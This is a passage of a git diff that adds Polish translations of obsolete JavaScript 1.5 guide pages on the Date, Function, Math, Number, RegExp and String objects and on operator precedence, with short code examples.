<li>Dzień: 0 (Niedziela) do 6 (Sobota)</li> + <li>Data: 1 do 31 (dzień miesiąca)</li> + <li>Miesiące: 0 (Styczeń) do 11 (Grudzień)</li> + <li>Lata: lata od 1900</li> +</ul> +<p>Na przykład, przypuśćmy, że zdefiniowałeś następującą datę:</p> +<pre>Xmas95 = new Date("December 25, 1995") +</pre> +<p>Następnie <code><b>Xmas95.getMonth()</b></code> zwraca 11, i <code><b>Xmas95.getFullYear()</b></code> zwraca 1995.</p> +<p>Metody <code><b>getTime</b></code> i <code><b>setTime</b></code> są użyteczne dla porównania dat. Metoda <code><b>getTime</b></code> zwraca liczbę milisekund od 1 stycznia 1970, 00:00:00 ( + <i> + January 1, 1970, 00:00:00</i> + ) dla obiektu <code><b>Date</b></code>.</p> +<p>Na przykład, następujący kod wyświetla liczbę dni opuszczonych w aktualnym roku:</p> +<pre>today = new Date() +endYear = new Date(1995,11,31,23,59,59,999) // Ustawia dni i miesiące +endYear.setFullYear(today.getFullYear()) // Ustawia ilość lat '''(?)''' +msPerDay = 24 * 60 * 60 * 1000 // Liczba milisekund na dzień +daysLeft = (endYear.getTime() - today.getTime()) / msPerDay +daysLeft = Math.round(daysLeft) //zwraca dni opuszczone dni w roku +</pre> +<p>Ten przykład stworzył obiekt <code><b>Date</b></code> nazywany <b>today</b>, który stanowi dzisiejszą datę. Następnie utworzył obiekt <code><b>Date</b></code> nazwany <code><b>endYear</b></code> i ustawi się od roku do aktualnego roku. Następnie, użyje liczbę milisekund na dzień, to obliczy liczbę dni pomiędzy dzisiejszym dniem <b>today</b> a <code><b>endYear</b></code>, używających <code><b>getTime</b></code> i zaokrąglenie do liczby dni.</p> +<p>Metoda <code><b>parse</b></code> jest użyteczna dla przydzielania wartości z łańcucha daty do wykorzystania przez obiekty <code><b>Date</b></code>. Na przykład, następujący kod używa <code><b>parse</b></code> i <code><b>setTime</b></code> do przydzielenia wartości obiektu <code><b>IPOdate</b></code>:</p> +<pre>IPOdate = new Date() +IPOdate.setTime(Date.parse("Aug 9, 1995")) +</pre> +<h4 id="U.C5.BCywanie_obiektu_Date:_Przyk.C5.82ad" name="U.C5.BCywanie_obiektu_Date:_Przyk.C5.82ad">Używanie obiektu Date: Przykład</h4> +<p>W następującym przykładzie, funkcja <code><b>JSClock()</b></code> zwraca czas w formacie zegara cyfrowego.</p> +<pre>function JSClock() { + var time = new Date() + var hour = time.getHours() + var minute = time.getMinutes() + var second = time.getSeconds() + var temp = "" + ((hour > 12) ? hour - 12 : hour) + if (hour == 0) + temp = "12"; + temp += ((minute < 10) ? ":0" : ":") + minute + temp += ((second < 10) ? ":0" : ":") + second + temp += (hour >= 12) ? " P.M." : " A.M." + return temp +} +</pre> +<p>Pierwsza funkcja <code><b>JSClock</b></code> tworzy nowy obiekt <code><b>Date</b></code>, który nazywany jest <code><b>time</b></code>; nie dający argumentów, czas jest tworzony z aktualną datą i czasem. Następnie metody <code><b>getHours</b></code>, <code><b>getMinutes</b></code>, i <code><b>getSeconds</b></code> przypisują wartości aktualnej godziny, minuty i sekundy do <code><b>hour</b></code>, <code><b>minute</b></code>, i <code><b>second</b></code>.</p> +<p>Następne cztery linijki instrukcji budują łańcuch wartości oparty na czasie. Pierwsza instrukcja tworzy zmienne <code><b>temp</b></code>, przydzielając jej wartość używanego warunku wyrażenia; jeśli <code><b>hour</b></code> jest wyższa niż 12, (godzina - 12), w innym przypadku prosta godzina, chyba że jest godzina 0, która to staje się 12.</p> +<p>Następna instrukcja przypisuje wartość <code><b>minute</b></code> do temp. Jeśli wartość <code><b>minute</b></code> jest mniejsza niż 10, wyrażenie warunkowe dodaje łańcuch z poprzedzającym ją zerem; w innym przypadku dodaje rozgraniczający dwukropek. Następnie instrukcja dołącza sekundy do temp w ten sam sposób.</p> +<p>Kończąc, wyrażenie warunkowe dołącza "<code><b>PM</b></code>" do temp, jeśli <code><b>hour</b></code> posiada wartość 12 lub wyższą; w innym przypadku, to dołącza "<code><b>AM</b></code>" do <code><b>temp</b></code>.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html new file mode 100644 index 0000000000..02eef23d82 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html @@ -0,0 +1,50 @@ +--- +title: Obiekt function +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Function" name="Obiekt_Function">Obiekt Function</h3> +<p>Predefiniowany obiekt <code>Function</code> określa łańcuch znaków do skompilowania jako funkcja.</p> +<p>Aby utworzyć obiekt <code>Function</code>:</p> +<pre>nazwaObiektuFunkcji = new Function ([arg1, arg2, ... argn], cialoFunkcji) +</pre> +<p><code>nazwaObiektuFunkcji</code> jest nazwą zmiennej lub własności istniejącego obiektu. Może to być również obiekt, po którym następuje zapisana małymi literami nazwa uchwytu zdarzenia, jak np. <code>window.onerror</code>.</p> +<p><code>arg1</code>, <code>arg2</code>, ... <code>argn</code> są argumentami, które mają być użyte przez funkcję jako formalne nazwy argumentów. Każda z nich musi być łańcuchem znaków spełniającym zasady poprawnego identyfikatora JavaScript; przykładowo "x" lub "theForm".</p> +<p><code>cialoFunkcji</code> jest łańcuchem znaków określającym kod JavaScript, który ma zostać skompilowany jako ciało funkcji.</p> +<p>Obiekty <code>Function</code> są przetwarzane przy każdym użyciu. Jest to mniej skutecznie niż deklarowanie funkcji i wywoływanie jej wewnątrz kodu, ponieważ zadeklarowane funkcje są kompilowane.</p> +<p>Oprócz definiowania funkcji w sposób opisany tutaj, możesz również użyć instrukcji <code>function</code> i wyrażenia funkcji. Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a>, aby uzyskać więcej informacji.</p> +<p>Poniższy kod przypisuje funkcję do zmiennej <code>ustawKolorTla</code>. Funkcja ta ustawia obecny kolor tła dokumentu.</p> +<pre>var ustawKolorTla = new Function("document.bgColor='antiquewhite'") +</pre> +<p>Aby wywołać obiekt <code>Function</code>, możesz określić nazwę zmiennej tak, jak gdyby była to funkcja. Poniższy kod wykonuje funkcję określoną przez zmienną <code>ustawKolorTla</code>:</p> +<pre>var wyborKoloru="antiquewhite" +if (wyborKoloru=="antiquewhite") {ustawKolorTla()} +</pre> +<p>Możesz przypisać funkcję do uchwytu zdarzenia w jeden z następujących sposobów:</p> +<pre>1. document.form1.colorButton.onclick=ustawKolorTla +2. <INPUT NAME="kolorPrzycisku" TYPE="button" + VALUE="Zmień kolor tła" + onClick="ustawKolorTla()"> +</pre> +<p>Tworzenie zmiennej <code>ustawKolorTla</code> pokazane powyżej jest podobne do deklarowania następującej funkcji:</p> +<pre>function ustawKolorTla() { + document.bgColor='antiquewhite' +} +</pre> +<p>Przypisywanie funkcji do zmiennej jest podobne do deklarowania funkcji, są jednak pewne różnice:</p> +<ul> + <li>Gdy przypisujesz funkcję do zmiennej używając var <code>ustawKolorTla = new Function("...")</code>, <code>ustawKolorTla</code> jest zmienną, dla której obecnej wartość jest odniesieniem do funkcji stworzonej za pomocą new <code>Function()</code>.</li> + <li>Gdy tworzysz funkcję używając <code>function ustawKolorTla() {...}</code>, <code>ustawKolorTla</code> nie jest zmienną, ale nazwą funkcji.</li> +</ul> +<p>Możesz zagnieździć funkcję wewnątrz funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna do zawierającej ją (zewnętrznej) funkcji:</p> +<ul> + <li>Dostęp do wewnętrznej funkcji może być osiągnięty tylko przez instrukcje w funkcji zewnętrznej.</li> + <li>Funkcja wewnętrzna może używać tych samych argumentów i zmiennych, co funkcja zewnątrzna. Funkcja zewnętrzna nie może używać argumentów i zmiennych funkcji wewnętrznej.</li> +</ul> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html new file mode 100644 index 0000000000..b09ad2f801 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html @@ -0,0 +1,72 @@ +--- +title: Obiekt Math +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Math" name="Obiekt_Math">Obiekt Math</h3> +<p>Obiekt predefiniowany <code><b>Math</b></code> posiada właściwości i metody dla stałych matematycznych i funkcji. Na przykład: obiekt <code><b>Math</b></code> <code><b>PI</b></code> pi posiada wartość (3.141...), który będzie używany w aplikacji jako:</p> +<pre>Math.PI +</pre> +<p>Podobnie, standardowe funkcje matematyczne są metodami Math. Włączając trygonometryczne, logarytmiczne, wykładnicze i inne funkcje. Na przykład, jeśli chcesz użyć funkcji trygonometryczej <b>sine</b>, musisz napisać:</p> +<pre>Math.sin(1.56) +</pre> +<p>Wszystkie metody trygonometryczne <code><b>Math</b></code> pobierają argumenty w radianach.</p> +<p>Następująca tabela podsumowuje metodę <code><b>Math</b></code>.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Metoda</th> + <th>Opis</th> + </tr> + <tr> + <td><b>abs</b></td> + <td>Wartość bezwzględna argumentu</td> + </tr> + <tr> + <td><b>sin, cos, tan</b></td> + <td>Standardowe funkcje trygonometryczne; argumenty w radianach</td> + </tr> + <tr> + <td><b>acos, asin, atan, atan2</b></td> + <td>Odwrotne funkcje trygonometryczne; zwracają wartość w radianach</td> + </tr> + <tr> + <td><b>exp, log</b></td> + <td>Wykładniczy i naturalny logarytm, podstawą jest <sub><b>e</b></sub></td> + </tr> + <tr> + <td><b>ceil</b></td> + <td>Zwraca najmniejszą liczbę całkowitą większą bądź równą argumentowi</td> + </tr> + <tr> + <td><b>floor</b></td> + <td>Zwraca największą liczbę całkowitą mniejszą bądź równą argumentowi</td> + </tr> + <tr> + <td><b>min, max</b></td> + <td>Zwraca większą lub mniejeszą (jedną z podanych) z dwóch argumentów</td> + </tr> + <tr> + <td><b>pow</b></td> + <td>Wykładniczy; pierwszy argument jest podstawą, drugi jest wykładnikiem</td> + </tr> + <tr> + <td><b>random</b></td> + <td>Zwraca przypadkową liczbę pomiędzy 0 i 1.</td> + </tr> + <tr> + <td><b>round</b></td> + <td>Zwraca argumenty najbliższe liczbie całkowitej</td> + </tr> + <tr> + <td><b>sqrt</b></td> + <td>Zwraca pierwiastek kwadratowy argumentu</td> + </tr> + </tbody> +</table> +<p><small><b>Tabela: Metody Math</b></small></p> +<p>Wiele innych niepodobnych obiektów, nigdy nie utworzy dla siebie obiektu <code><b>Math</b></code>. Zawsze używaj predefiniowanego obiektu <code><b>Math</b></code>.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html new file mode 100644 index 0000000000..d66696774b --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html @@ -0,0 +1,83 @@ +--- +title: Obiekt Number +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_Number" name="Obiekt_Number">Obiekt Number</h3> +<p>Obiekt <code><b>Number</b></code> posiada własności dla stałych liczbowych, takie jak wartość maksymalna, not-a-number (nie-liczba) i nieskończoność. Nie możesz zmieniać wartości tych własności. Używa się ich następująco:</p> +<pre>biggestNum = Number.MAX_VALUE +smallestNum = Number.MIN_VALUE +infiniteNum = Number.POSITIVE_INFINITY +negInfiniteNum = Number.NEGATIVE_INFINITY +notANum = Number.NaN +</pre> +<p>Możesz zawsze odwołać się do własności predefiniowanego obiektu <code>Number</code> w sposób pokazany powyżej, lecz nie jako własności obiektu <code>Number</code>, który sam utworzyłeś.</p> +<p>Poniższa tabela podsumowuje własności obiektu <code><b>Number</b></code> .</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Własność</th> + <th>Opis</th> + </tr> + <tr> + <td><b>MAX_VALUE</b></td> + <td>Największa możliwa do przedstawienia liczba</td> + </tr> + <tr> + <td><b>MIN_VALUE</b></td> + <td>Najmniejsza możliwa do przedstawienia liczba</td> + </tr> + <tr> + <td><b>NaN</b></td> + <td>Specjalna wartość "nieliczbowa"</td> + </tr> + <tr> + <td><b>NEGATIVE_INFINITY</b></td> + <td>Specjalna wartość nieskończoności; zwracana przy przepełnieniu</td> + </tr> + <tr> + <td><b>POSITIVE_INFINITY</b></td> + <td>Specjalna wartość ujemnej nieskończoności; zwracana przy przepełnieniu</td> + </tr> + </tbody> +</table> +<p><small><b>Tabela 7.2: Własności obiektu Number</b></small></p> +<p>Prototyp Number dostarcza metod używanych w celu uzyskiwania w różnych formatach informacji z obiektów Number. Poniższa tabelka podsumowuje metody <code>Number.prototype</code>.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Metoda</th> + <th>Opis</th> + </tr> + <tr> + <td><b>toExponential</b></td> + <td>Zwraca łańcuch znaków reprezentujący liczbę w notacji wykładniczej.</td> + </tr> + <tr> + <td><b>toFixed</b></td> + <td>Zwraca łańcuch znaków reprezentujący liczbę w notacji stałoprzecinkowej.</td> + </tr> + <tr> + <td><b>toPrecision</b></td> + <td>Zwraca łańcuch znaków reprezentujący z określoną dokładnością w notacji stałoprzecinkowej.</td> + </tr> + <tr> + <td><b>toSource</b></td> + <td>Zwraca obiekt literałowy reprezentujący określony obiekt Number; możesz użyć tej wartości do stworzenia nowego obiektu. Nadpisuje metodę Object.toSource.</td> + </tr> + <tr> + <td><b>toString</b></td> + <td>Zwraca łańcuch znaków reprezentujący dany obiekt. Nadpisuje metodę Object.toString.</td> + </tr> + <tr> + <td><b>valueOf</b></td> + <td>Zwraca pierwotną wartość określonego obiektu. Nadpisuje metodę Object.valueOf.</td> + </tr> + </tbody> +</table> +<p><small><b>Tabela: Metody Number.prototype</b></small> {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Math", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html new file mode 100644 index 0000000000..120abc3cb9 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html @@ -0,0 +1,12 @@ +--- +title: Obiekt RegExp +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_RegExp" name="Obiekt_RegExp">Obiekt RegExp</h3> +<p>Obiekt <code><b>RegExp</b></code> umożliwia działanie na wyrażeniach regularnych. Został on opisany w Rozdziale 4, <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a>. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Number", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt String") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html new file mode 100644 index 0000000000..dc7aa33326 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html @@ -0,0 +1,92 @@ +--- +title: Obiekt String +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Obiekt_String" name="Obiekt_String">Obiekt String</h3> +<p>Obiekt <code>String</code> ma jedną własność, <code>length</code>, która wskazuje liczbę znaków w łańcuchu znaków. Przykładowo, poniższy kod przypisuje zmiennej <code>x</code> wartość 13, ponieważ "Hello, World!" ma 13 znaków:</p> +<pre>myString = "Hello, World!" +x = mystring.length +</pre> +<p>Obiekt <code>String</code> posiada dwa typy metod: zwracające zmienność samego łańcucha znaków, takie jak <code>substring</code> i <code>toUpperCase</code> oraz te, które zwracają wersję łańcucha sformatowaną jako kod HTML, takie jak <code>bold</code> i <code>link</code>.</p> +<p>Na przykład używając poprzedniego przykładu, zarówno <code>mystring.toUpperCase()</code> jak i <code>"hello, world!".toUpperCase()</code> zwrócą łańcuch "HELLO, WORLD!"</p> +<p>Metoda <code>substring</code> pobiera dwa argumenty i zwraca podzbiór łańcucha znaków pomiędzy tymi dwoma argumentami. Posługując się powyższym przykładem, mystring.substring(4, 9) zwróci łańcuch "o, Wo". Zobacz metodę <code>substring</code> obiektu String w <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a>, aby uzyskać więcej informacji.</p> +<p>Obiekt <code>String</code> posiada również wiele metod do automatycznego formatowania kodu HTML, takie jak <code>bold</code> do tworzenia pogrubionego tekstu i <code>link</code> do tworzenia hiperłącz. Przykładowo, możesz utworzyć hiperłącze do hipotetycznego adresu URL przy użyciu metody <code>link</code> w następujący sposób:</p> +<pre>mystring.link("http://www.helloworld.com") +</pre> +<p>Poniższe tabela podsumowuje metody obiektu <code>String</code>.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>Metody</th> + <th>Opis</th> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/anchor">anchor</a></td> + <td>Tworzy nazwaną kotwicę HTML.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/big">big</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/blink">blink</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/bold">bold</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/fixed">fixed</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/italics">italics</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/small">small</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/strike">strike</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/sub">sub</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/sup">sup</a></td> + <td>Tworzy w HTML sformatowany łańcuch znaków.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/charAt">charAt</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/charCodeAt">charCodeAt</a></td> + <td>Zwraca znak lub kod znaku znajdującego się na określonej pozycji łańcucha znaków.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/indexOf">indexOf</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/lastIndexOf">lastIndexOf</a></td> + <td>Zwraca odpowiednio pozycję określonego podciągu w łańcuchu znaków lub ostatnią pozycję określonego podciągu.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/link">link</a></td> + <td>Tworzy odnośnik HTML.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/concat">concat</a></td> + <td>Łączy tekst z dwóch łańcuchów i zwraca nowy łańcuch znaków.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/fromCharCode">fromCharCode</a></td> + <td>Buduje łańcuch znaków z określonej sekwencji wartości Unicode. Jest metoda klasy String, a nie instancji String.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/split">split</a></td> + <td>Dzieli obiekt String na tablicę łańcuchów poprzez rozdzielenie łańcucha znaków na podciągi.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/slice">slice</a></td> + <td>Wycina fragment łańcucha znaków i zwraca nowy łańcuch.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/substring">substring</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/substr">substr</a></td> + <td>Zwraca określony podciąg łańcucha znaków, poprzez określenie indeksów początkowych i końcowych lub też określenie indeksu początkowego i długości.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/match">match</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/replace">replace</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/search">search</a></td> + <td>Pracuje z wyrażeniami regularnymi.</td> + </tr> + <tr> + <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/toLowerCase">toLowerCase</a>, <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/toUpperCase">toUpperCase</a></td> + <td>Zwraca łańcuch znaków odpowiednio z wszystkimi małymi lub wszystkimi dużymi znakami.</td> + </tr> + </tbody> +</table> +<p><small><b>Tabela 7.4: Metody instancji String</b></small></p> +<h3 id="Litera.C5.82y_znakowe_nie_s.C4.85_obiektami_String" name="Litera.C5.82y_znakowe_nie_s.C4.85_obiektami_String">Literały znakowe nie są obiektami String</h3> +<p>Obiekt <code>String</code> jest obiektem opakowującym wokół pierwotnego typu danych łańcuchu znaków. Nie myl literału znakowego z obiektem <code>String</code>. Na przykład poniższy kod tworzy literał <code>s1</code>, jak również obiekt String <code>s2</code>:</p> +<pre>s1 = "foo" //tworzy wartość literału znakowego +s2 = new String("foo") //tworzy obiekt String +</pre> +<p>Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu <code>String</code>, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu <code>String</code>. Możesz również użyć własności <code>String.length</code> z literałem znakowym. Możesz również użyć własności <code>String.length</code> z literałem znakowym.</p> +<p>Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String, ponieważ obiekty <code>String</code> mogą zachowywać się nieintuicyjnie. Przykładowo:</p> +<pre>s1 = "2 + 2" //tworzy wartość literału znakowego +s2 = new String("2 + 2")//tworzy obiekt String +eval(s1) //zwraca liczbę 4 +eval(s2) //zwraca łańcuch "2 + 2" +</pre> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp", "Przewodnik po języku JavaScript 1.5:Języki oparte na klasach vs. oparte na prototypach") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html new file mode 100644 index 0000000000..cc916dff5d --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/index.html @@ -0,0 +1,112 @@ +--- +title: Operatory +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h3 id="Operatory" name="Operatory"> Operatory </h3> +<p>JavaScript posiada następujące typy operatorów. Ten temat opisuje operatory i wartości informacyjne o operatorach pierwszeństwa. +</p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_przypisania">Operatory przypisania</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_por%c3%b3wnania">Operatory porównania</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Operatory arytmetyczne</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe">Operatory bitowe</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne">Operatory logiczne</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%c5%82a%c5%84cuchach">Operacje na łańcuchach</a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a> +</li></ul> +<p>JavaScript posiada po dwa operatory bitowe i unarne. Operator bitowy zwraca dwa argumenty, jeden przed operatorem i jeden za operatorem: </p> +<pre>argument1 operator argument2 +</pre> +<p>Na przykład, <code>3+4</code> lub <code>x*y</code>. +Operator unarny zwraca pojedynczy znak argumentu, znaki te zapisujemy przed lub za operatorem: +</p> +<pre>operator argument +</pre> +<p>lub +</p> +<pre>argument operator +</pre> +<p>Na przykład, <code>x++</code> lub <code>++x</code>. +</p><p>Uzupełniając, JavaScript posiada potrójny operator, jakim jest operator warunkowy. Potrójny operator zwraca trzy argumenty. +</p> +<h4 id="Pierwsze.C5.84stwo_operator.C3.B3w" name="Pierwsze.C5.84stwo_operator.C3.B3w"> Pierwszeństwo operatorów </h4> +<table class="fullwidth-table"> +<tbody><tr> +<th>Typ operatora</th> +<th>Indywidualny operator</th> +</tr> +<tr> +<td>przecinek</td> +<td>,</td> +</tr> +<tr> +<td>przypisania </td> +<td>= += -= *= /= %= <<= >>= >>>= &= ^= |=</td> +</tr> +<tr> +<td>warunkowy</td> +<td>?:</td> +</tr> +<tr> +<td>logiczne "LUB" </td> +<td>||</td> +</tr> +<tr> +<td>logiczne "I"</td> +<td>&&</td> +</tr> +<tr> +<td>bitowe "LUB"</td> +<td>|</td> +</tr> +<tr> +<td>bitowe "XOR" </td> +<td>^</td> +</tr> +<tr> +<td>bitowe "I"</td> +<td>&</td> +</tr> +<tr> +<td>porównanie</td> +<td>== != === !==</td> +</tr> +<tr> +<td>relacji</td> +<td>< <= > >= in instanceof</td> +</tr> +<tr> +<td>przesunięcie bitowe </td> +<td><< >> >>></td> +</tr> +<tr> +<td>dodawanie/odejmowanie </td> +<td>+ -</td> +</tr> +<tr> +<td>mnożenie/dzielenie/modulo </td> +<td>* / %</td> +</tr> +<tr> +<td>negacja/inkrementacja/dekrementacja </td> +<td>! ~ - + ++ -- typeof void delete</td> +</tr> +<tr> +<td>nazwa / tworzenie przykładu </td> +<td>() new</td> +</tr> +<tr> +<td>pamięci </td> +<td>. []</td> +</tr> +</tbody></table> +<p><small><b>Tabela: Operatory pierwszeństwa</b></small> +</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Wyrażenia", "Przewodnik po języku JavaScript 1.5:Operatory:Operatory przypisania") }} +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html new file mode 100644 index 0000000000..5406be0bbe --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/operatory/operacje_na_łańcuchach/index.html @@ -0,0 +1,17 @@ +--- +title: Operacje na łańcuchach +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Operatory/Operacje_na_łańcuchach +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Expressions_and_Operators +--- +<p> +</p> +<h4 id="Operatory_.C5.82a.C5.84cuchowe" name="Operatory_.C5.82a.C5.84cuchowe"> 